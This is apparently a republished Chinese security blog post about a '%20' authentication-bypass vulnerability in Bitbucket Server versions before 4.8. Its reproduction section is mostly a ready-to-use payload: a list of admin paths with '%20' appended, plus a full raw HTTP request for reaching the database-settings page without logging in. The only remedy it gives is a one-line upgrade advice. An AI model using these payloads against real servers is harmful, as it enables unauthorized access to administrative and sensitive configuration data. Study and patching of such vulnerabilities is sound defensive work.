Atlassian Bitbucket 登录绕过漏洞
2023-6-13 19:55:42 Author: 才疏学浅的H6(查看原文) 阅读量:14 收藏

漏洞说明

Bitbucket Cloud 是一款基于 Git 的代码托管与协作工具，专为团队打造。Bitbucket 一流的 Jira 和 Trello 集成旨在集结整个软件团队以便共同处理一个项目。我们为您的团队提供了一个平台，方便您的团队开展从概念到云的代码协作、通过自动化测试构建优质代码，以及从容地部署代码。

                                                                                                                             -------来自官网

Bitbucket 由 Atlassian 团队开发。其中出现了一个通过 %20 绕过权限的漏洞，导致任意用户可获取敏感数据

影响版本

Bitbucket Server < 4.8

漏洞复现

payload：

/admin%20/mail-server/admin%20/db/admin%20/db/edit/admin%20/license/admin%20/logging/admin%20/server-settings/admin%20/authentication/admin%20/avatars
GET /admin%20/db HTTP/1.1Host: IP：portUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

修复建议

升级到安全版本

本文章仅用于学习交流，不得用于非法用途

星标加关注，追洞不迷路

文章来源: http://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486147&idx=1&sn=8a8588935e631125ba484ada926fe821&chksm=c1f92571f68eac67582577060fe3d5c0048a69a8227ddd8efd4ecd48fa89124cc5d57679a264#rd
如有侵权请联系:admin#unsafe.sh